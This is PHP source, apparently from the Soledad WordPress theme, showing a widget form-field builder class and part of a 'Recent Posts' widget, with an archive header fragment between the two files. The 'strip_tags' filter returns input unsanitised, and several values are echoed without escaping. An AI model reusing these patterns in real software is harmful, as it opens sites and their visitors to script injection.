						return $instance;
					}
				}

				if ( isset( $key['filter'] ) ) {
					$instance[ $slug ] = $this->filter( $key['filter'], $new_instance[ $slug ] );
				} else {
					if ( is_array( $new_instance[ $slug ] ) ) {
						$instance[ $slug ] = $new_instance[ $slug ];
					} else {
						$instance[ $slug ] = strip_tags( $new_instance[ $slug ] );
					}
				}
			}

			return $this->after_validate_fields( $instance );
		}


		/**
		 * Before Validate Fields
		 *
		 * Allows to hook code on the update.
		 *
		 * @access   public
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.6
		 */

		function before_update_fields() {
			return;
		}


		/**
		 * After Validate Fields
		 *
		 * Allows to modify the output after validating the fields.
		 *
		 * @access   public
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.6
		 */

		function after_validate_fields( $instance = "" ) {
			return $instance;
		}


		/**
		 * Validate
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   boolean
		 * @since    1.0
		 */

		function validate( $rules, $value ) {
			$rules = explode( '|', $rules );

			if ( empty( $rules ) || count( $rules ) < 1 ) {
				return true;
			}

			foreach ( $rules as $rule ) {
				if ( false === $this->do_validation( $rule, $value ) ) {
					return false;
				}
			}

			return true;
		}


		/**
		 * Filter
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   void
		 * @since    1.0
		 */

		function filter( $filters, $value ) {
			$filters = explode( '|', $filters );

			if ( empty( $filters ) || count( $filters ) < 1 ) {
				return $value;
			}

			foreach ( $filters as $filter ) {
				$value = $this->do_filter( $filter, $value );
			}

			return $value;
		}


		/**
		 * Do Validation Rule
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   boolean
		 * @since    1.0
		 */

		function do_validation( $rule, $value = "" ) {
			switch ( $rule ) {

				case 'alpha':
					return ctype_alpha( $value );
					break;

				case 'alpha_numeric':
					return ctype_alnum( $value );
					break;

				case 'alpha_dash':
					return preg_match( '/^[a-z0-9-_]+$/', $value );
					break;

				case 'numeric':
					return ctype_digit( $value );
					break;

				case 'integer':
					return ( bool ) preg_match( '/^[\-+]?[0-9]+$/', $value );
					break;

				case 'boolean':
					return is_bool( $value );
					break;

				case 'email':
					return is_email( $value );
					break;

				case 'decimal':
					return ( bool ) preg_match( '/^[\-+]?[0-9]+\.[0-9]+$/', $value );
					break;

				case 'natural':
					return ( bool ) preg_match( '/^[0-9]+$/', $value );

					return;

				case 'natural_not_zero':
					if ( ! preg_match( '/^[0-9]+$/', $value ) ) {
						return false;
					}
					if ( $value == 0 ) {
						return false;
					}

					return true;

					return;

				default:
					if ( method_exists( $this, $rule ) ) {
						return $this->$rule( $value );
					} else {
						return false;
					}
					break;

			}
		}


		/**
		 * Do Filter
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   boolean
		 * @since    1.0
		 */

		function do_filter( $filter, $value = "" ) {
			switch ( $filter ) {
				case 'strip_tags':
					return $value;
					break;

				case 'wp_strip_all_tags':
					return wp_strip_all_tags( $value );
					break;

				case 'esc_attr':
					return esc_attr( $value );
					break;

				case 'esc_url':
					return esc_url( $value );
					break;

				case 'esc_textarea':
					return esc_textarea( $value );
					break;

				default:
					if ( method_exists( $this, $filter ) ) {
						return $this->$filter( $value );
					} else {
						return $value;
					}
					break;
			}
		}


		/**
		 * Create Fields
		 *
		 * Creates each field defined.
		 *
		 * @access   private
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.0
		 */

		function create_fields( $out = "" ) {

			$out = $this->before_create_fields( $out );

			if ( ! empty( $this->fields ) ) {
				foreach ( $this->fields as $key ) {
					if ( empty( $key ) ) {
						continue;
					}
					$out .= $this->create_field( $key );
				}
			}

			$out = $this->after_create_fields( $out );

			return $out;
		}


		/**
		 * Before Create Fields
		 *
		 * Allows to modify code before creating the fields.
		 *
		 * @access   public
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.0
		 */

		function before_create_fields( $out = "" ) {
			return $out;
		}


		/**
		 * After Create Fields
		 *
		 * Allows to modify code after creating the fields.
		 *
		 * @access   public
		 *
		 * @param string
		 *
		 * @return   string
		 * @since    1.0
		 */

		function after_create_fields( $out = "" ) {
			return $out;
		}


		/**
		 * Create Fields
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   string
		 * @since    1.0
		 */

		function create_field( $key, $out = "" ) {

			/* Set Defaults */
			$key['std'] = isset( $key['std'] ) ? $key['std'] : "";
			$key['std'] = isset( $key['default'] ) ? $key['default'] : "";

			$slug        = ( isset( $key['id'] ) ) ? $key['id'] : $key['param_name'];
			$heading     = isset( $key['heading'] ) ? $key['heading'] : '';
			$key['name'] = ( isset( $key['name'] ) ) ? $key['name'] : $heading;

			if ( isset( $key['skip_in'] ) && $key['skip_in'] == 'widget' ) {
				return;
			}
			if ( isset( $key['value'] ) ) {
				$key['fields'] = $key['value'];
			}

			if ( isset( $key['true_state'] ) && isset( $key['false_state'] ) ) {
				$key['fields'] = array(
					$key['true_state']  => $key['true_state'],
					$key['false_state'] => $key['false_state'],
				);
			}

			if ( ! isset( $key['class'] ) ) {
				$key['class'] = 'widefat';
			}

			if ( isset( $key['description'] ) ) {
				$key['desc'] = $key['description'];
			}

			if ( isset( $this->instance[ $slug ] ) ) {
				$key['value'] = empty( $this->instance[ $slug ] ) ? '' : $this->instance[ $slug ];
			} else {
				unset( $key['value'] );
			}

			/* Set field id and name  */
			$key['_id']   = $this->get_field_id( $slug );
			$key['_name'] = $this->get_field_name( $slug );

			/* Set field type */
			if ( ! isset( $key['type'] ) ) {
				$key['type'] = 'text';
			}

			$key['type'] = $this->soledad_change_type( $key['type'] );

			/* Prefix method */
			$field_method = 'create_field_' . str_replace( '-', '_', $key['type'] );

			/* Check for <p> Class */
			$p = ( isset( $key['class-p'] ) ) ? '<p class="' . $key['class-p'] . '">' : '<p>';

			/* Run method */
			if ( method_exists( $this, $field_method ) ) {
				return $p . $this->$field_method( $key ) . '</p>';
			}

		}

		private function soledad_change_type( $key ) {
			switch ( $key ) {
				case 'textfield':
					$key = 'text';
					break;
				case 'vc_link':
					$key = 'text';
					break;
				case 'href':
					$key = 'text';
					break;
				case 'textarea_html':
					$key = 'textarea';
					break;
				case 'penci_switch':
					$key = 'dropdown';
					break;
				case 'penci_button_set':
					$key = 'dropdown';
					break;
				case 'penci_slider':
					$key = 'dropdown';
					break;
				case 'penci_image_select':
					$key = 'dropdown';
					break;
			}

			return $key;
		}

		/**
		 * select2 field
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_select2( $key, $out = "" ) {
			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			if ( ! is_array( $value ) ) {
				$value = explode( ',', $value );
			}

			ob_start();

			?>
			<?php echo $this->create_field_label( $key['name'], $key['_id'] ); ?>
            <select name="<?php echo esc_attr( $key['_name'] ); ?>[]" id="<?php echo esc_attr( $key['_id'] ); ?>"
                    class="penci-select penci-select2" multiple>
				<?php foreach ( $key['fields'] as $field => $option ) : ?>
					<?php
					$selected = false;

					if ( is_array( $value ) && in_array( $option, $value, false ) ) {
						$selected = true;
					}

					?>

                    <option value="<?php echo esc_attr( $option ); ?>" <?php selected( true, $selected ); ?>>
						<?php echo esc_html( $field ); ?>
                    </option>
				<?php endforeach; ?>
            </select>
			<?php

			return ob_get_clean();
		}


		/**
		 * dropdown field
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_dropdown( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$selected = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$out .= '<select id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" data-value="' . esc_attr( $selected ) . '" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$out .= '> ';

			foreach ( $key['fields'] as $field => $option ) {

				$out .= '<option value="' . esc_attr( $option ) . '" ';

				if ( esc_attr( $selected ) == $option ) {
					$out .= ' selected="selected" ';
				}

				$out .= '> ' . esc_html( $field ) . '</option>';

			}

			$out .= ' </select> ';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}

		/**
		 * attach image field
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_attach_image( $key, $out = "" ) {

			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$url = $style = '';

			if ( isset( $value ) ) {
				$url = wp_get_attachment_url( $value );
			}

			if ( $url == '' ) {
				$style = 'display:none;';
			}

			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<img src="' . $url . '" class="penci-image-src" style="' . $style . '" />';

			$out .= '<input type="hidden" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="penci-image-upload ' . esc_attr( $key['class'] ) . '" ';
			}


			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" value="' . esc_attr( $value ) . '" ';

			if ( isset( $key['size'] ) ) {
				$out .= 'size="' . esc_attr( $key['size'] ) . '" ';
			}

			$out .= ' />';

			$out .= '<button class="button penci-image-upload-btn">' . __( 'Upload image', 'penci' ) . '</button>';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}

		/**
		 * Attach images field
		 *
		 * @access   private
		 *
		 * @param string
		 * @param array
		 *
		 * @return   string
		 * @since    1.5
		 *
		 */
		function create_field_attach_images( $key, $out = '' ) {
			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$ids = explode( ',', $value );

			ob_start();

			?>
            <div class="penci-upload_list-control">
                <h4>
					<?php echo $this->create_field_label( $key['name'], $key['_id'] ); ?>
                </h4>

                <div class="penci-upload-preview">
					<?php foreach ( $ids as $id ) : ?>
						<?php if ( $id ) : ?>
                            <div data-attachment_id="<?php echo esc_attr( $id ); ?>">
								<?php echo wp_get_attachment_image( $id, 'thumbnail' ); // phpcs:ignore ?>
                                <a href="#" class="penci-remove">
                                    <span class="dashicons dashicons-dismiss"></span>
                                </a>
                            </div>
						<?php endif; ?>
					<?php endforeach; ?>
                </div>

                <div class="penci-upload-btns">
                    <button class="penci-btn penci-upload-btn">
						<?php esc_html_e( 'Upload', 'penci' ); ?>
                    </button>

                    <button class="penci-btn penci-btn-remove penci-btn-disable">
						<?php esc_html_e( 'Clear all', 'penci' ); ?>
                    </button>

                    <input type="hidden" class="penci-upload-input-id" name="<?php echo esc_attr( $key['_name'] ); ?>"
                           value="<?php echo esc_attr( $value ); ?>"/>
                </div>

				<?php if ( isset( $key['desc'] ) ) : ?>
                    <small class="description">
						<?php echo esc_html( $key['desc'] ); ?>
                    </small>
				<?php endif; ?>
            </div>
			<?php

			return ob_get_clean();
		}


		/**
		 * Field Text
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_text( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<input type="text" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" value="' . esc_attr( $value ) . '" ';

			if ( isset( $key['size'] ) ) {
				$out .= 'size="' . esc_attr( $key['size'] ) . '" ';
			}

			$out .= ' />';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Textarea
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_textarea( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<textarea ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			if ( isset( $key['rows'] ) ) {
				$out .= 'rows="' . esc_attr( $key['rows'] ) . '" ';
			}

			if ( isset( $key['cols'] ) ) {
				$out .= 'cols="' . esc_attr( $key['cols'] ) . '" ';
			}

			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '">' . esc_html( $value );

			$out .= '</textarea>';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Checkbox
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_checkbox( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] );

			$out .= ' <input type="checkbox" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" value="1" ';

			if ( ( isset( $key['value'] ) && $key['value'] == 1 ) or ( ! isset( $key['value'] ) && $key['std'] == 1 ) ) {
				$out .= ' checked="checked" ';
			}

			$out .= ' /> ';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Select
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_select( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<select id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$out .= '> ';

			$selected = isset( $key['value'] ) ? $key['value'] : $key['std'];

			foreach ( $key['fields'] as $field => $option ) {

				$out .= '<option value="' . esc_attr( $option['value'] ) . '" ';

				if ( esc_attr( $selected ) == $option['value'] ) {
					$out .= ' selected="selected" ';
				}

				$out .= '> ' . esc_html( $option['name'] ) . '</option>';

			}

			$out .= ' </select> ';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Select with Options Group
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_select_group( $key, $out = "" ) {

			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<select id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$out .= '> ';

			$selected = isset( $key['value'] ) ? $key['value'] : $key['std'];

			foreach ( $key['fields'] as $group => $fields ) {

				$out .= '<optgroup label="' . $group . '">';

				foreach ( $fields as $field => $option ) {
					$out .= '<option value="' . esc_attr( $option['value'] ) . '" ';

					if ( esc_attr( $selected ) == $option['value'] ) {
						$out .= ' selected="selected" ';
					}

					$out .= '> ' . esc_html( $option['name'] ) . '</option>';
				}

				$out .= '</optgroup>';

			}

			$out .= '</select>';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Number
		 *
		 * @access   private
		 *
		 * @param array
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_number( $key, $out = "" ) {
			$out .= $this->create_field_label( $key['name'], $key['_id'] ) . '<br/>';

			$out .= '<input type="number" ';

			if ( isset( $key['class'] ) ) {
				$out .= 'class="' . esc_attr( $key['class'] ) . '" ';
			}

			$value = isset( $key['value'] ) ? $key['value'] : $key['std'];

			$out .= 'id="' . esc_attr( $key['_id'] ) . '" name="' . esc_attr( $key['_name'] ) . '" value="' . esc_attr( $value ) . '" ';

			if ( isset( $key['size'] ) ) {
				$out .= 'size="' . esc_attr( $key['size'] ) . '" ';
			}

			$out .= ' />';

			if ( isset( $key['desc'] ) ) {
				$out .= '<br/><small class="description">' . esc_html( $key['desc'] ) . '</small>';
			}

			return $out;
		}


		/**
		 * Field Label
		 *
		 * @access   private
		 *
		 * @param string
		 * @param string
		 *
		 * @return   string
		 * @since    1.5
		 */

		function create_field_label( $name = "", $id = "" ) {
			return '<label for="' . esc_attr( $id ) . '">' . esc_html( $name ) . ':</label>';
		}

	} // class
}
PK     2w\2|/o  o    widgets/lastest_post_widget.phpnu [        <?php
/**
 * Lastest post widget
 * Get recent posts and display in widget
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_latest_news_load_widget' );

function penci_latest_news_load_widget() {
	register_widget( 'penci_latest_news_widget' );
}

if ( ! class_exists( 'penci_latest_news_widget' ) ) {
	class penci_latest_news_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_latest_news_widget',
				'description' => esc_html__( 'A widget that displays your recent posts from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_latest_news_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_latest_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Recent Posts', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_latest_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Recent Posts', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );
			wp_enqueue_script( 'penci_widgets_ajax' );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$title      = apply_filters( 'widget_title', $title );
			$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
			$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
			$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
			$number     = isset( $instance['number'] ) ? $instance['number'] : '';
			$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$query_cat  = isset( $instance['query_cat'] ) ? $instance['query_cat'] : '';
			$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
			if ( ! $ptype ): $ptype = 'post'; endif;
			$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
			$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
			$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value = ( false == $sticky ) ? 0 : 1;
			$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe       = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs         = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs         = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
			$row_gap      = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
			$imgwidth     = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
			$hide_thumb   = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
			$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$ordernum     = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
			$showborder   = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
			$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
			$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();
			$metakey 	  = isset( $instance['metakey'] ) ? $instance['metakey'] : '';

			$query = array(
				'posts_per_page'      => $number,
				'post_type'           => $ptype,
				'ignore_sticky_posts' => $sticky_value
			);

			if ( 'post' == $ptype ) {
				if ( isset( $instance['cats_id'] ) ) {
					if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
						$query['category__in'] = $cats_id;
					}
				} else {
					$term_name = get_cat_name( $categories );
					$term      = term_exists( $term_name, 'category' );

					if ( $term !== 0 && $term !== null ) {
						$query['cat'] = $categories;
					}
				}

				if ( ! empty( $tags_id ) ) {
					if ( ! in_array( 'all', $tags_id ) ) {
						$query['tag__in'] = $tags_id;
					}
				}
			}

			if ( $orderby ) {
				$query['orderby'] = $orderby;

				if ( 'metakey' == $orderby && $metakey ) {
					$query['orderby'] = 'meta_value_num';
					$query['meta_key'] = $metakey;
				}
			}
			if ( $order ) {
				$query['order'] = $order;
			}
			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $taxonomy && ( 'post' != $ptype ) ) {
				$taxonomy  = str_replace( ' ', '', $taxonomy );
				$tax_array = explode( ',', $taxonomy );

				foreach ( $tax_array as $tax ) {
					$tax_ids_array = array();
					if ( $tax_ids ) {
						$tax_ids       = str_replace( ' ', '', $tax_ids );
						$tax_ids_array = explode( ',', $tax_ids );
					} else {
						$get_all_terms = get_terms( $tax );
						if ( ! empty( $get_all_terms ) ) {
							foreach ( $get_all_terms as $term ) {
								$tax_ids_array[] = $term->term_id;
							}
						}
					}

					if ( ! empty( $tax_ids_array ) ) {
						$query['tax_query'][] = array(
							'taxonomy' => $tax,
							'field'    => 'term_id',
							'terms'    => $tax_ids_array
						);
					}
				}
			}

			if ( $query_cat && ( is_category() || is_tag() ) ) {
				$query['post_type'] = 'post';
				$queried_object = get_queried_object();
			
				if ( is_category() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['cat'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['category_name'] = $queried_object->slug;
					}
				} elseif ( is_tag() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['tag_id'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['tag'] = $queried_object->slug;
					}
				}
			}

			$loop = new WP_Query( $query );
			if ( $loop->have_posts() ) :

				/* Before widget (defined by themes). */
				echo ent2ncr( $before_widget );

				/* Display the widget title if one was input (before and after defined by themes). */
				if ( $title ) {
					echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
				}

				$rand          = rand( 1000, 10000 );
				$data_settings = $instance;
				unset( $data_settings['title'] );


				?>
                <ul <?php if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) { ?>data-settings='<?php echo json_encode( $data_settings ); ?>'
                    data-paged="1"
                    data-action="penci_latest_news_widget_ajax"
                    data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                    data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
					<?php } ?>
                    id="penci-latestwg-<?php echo sanitize_text_field( $rand ); ?>"
                    class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
						if ( $featured ) {
							echo ' penci-2columns-featured';
						} else {
							echo ' penci-2columns-feed';
						} endif;
					if ( $showborder ) {
						echo ' penci-rcpw-hborders';
					}
					if ( $dotstyle ) {
						echo ' pctlst pctl-' . $dotstyle;
					} ?>">
					<?php $num = 1;
					while ( $loop->have_posts() ) : $loop->the_post(); ?>
                        <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
							if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
							<?php if ( $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                                <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
							<?php endif; ?>
                            <div class="side-item">
								<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                    <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
										<?php
										$size_pie = 'small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
										do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
										/* Display Review Piechart  */
										if ( function_exists( 'penci_display_piechart_review_html' ) ) {

											penci_display_piechart_review_html( get_the_ID(), $size_pie );
										}
										$thumb = penci_featured_images_size( 'small' );
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
										if ( $image_type == 'horizontal' ) {
											$thumb = 'penci-thumb-small';
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
										} elseif ( $image_type == 'square' ) {
											$thumb = 'penci-thumb-square';
										} elseif ( $image_type == 'vertical' ) {
											$thumb = 'penci-thumb-vertical';
										}
										?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
											echo '';
										} else {
											echo ' small-fix-size';
										} ?>" rel="bookmark"
                                           href="<?php the_permalink(); ?>"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                        </a>


										<?php if ( $icon ): ?>
											<?php if ( has_post_format( 'video' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'audio' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'link' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'quote' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
											<?php endif; ?>
										<?php endif; ?>
                                    </div>
								<?php endif; ?>
                                <div class="side-item-text">
									<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>

                                    <h4 class="side-title-post">
                                        <a href="<?php the_permalink() ?>" rel="bookmark"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php
											if ( ! $title_length || ! is_numeric( $title_length ) ) {
												if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
												} else {
													the_title();
												}
											} else {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
											}
											?>
                                        </a>
                                    </h4>
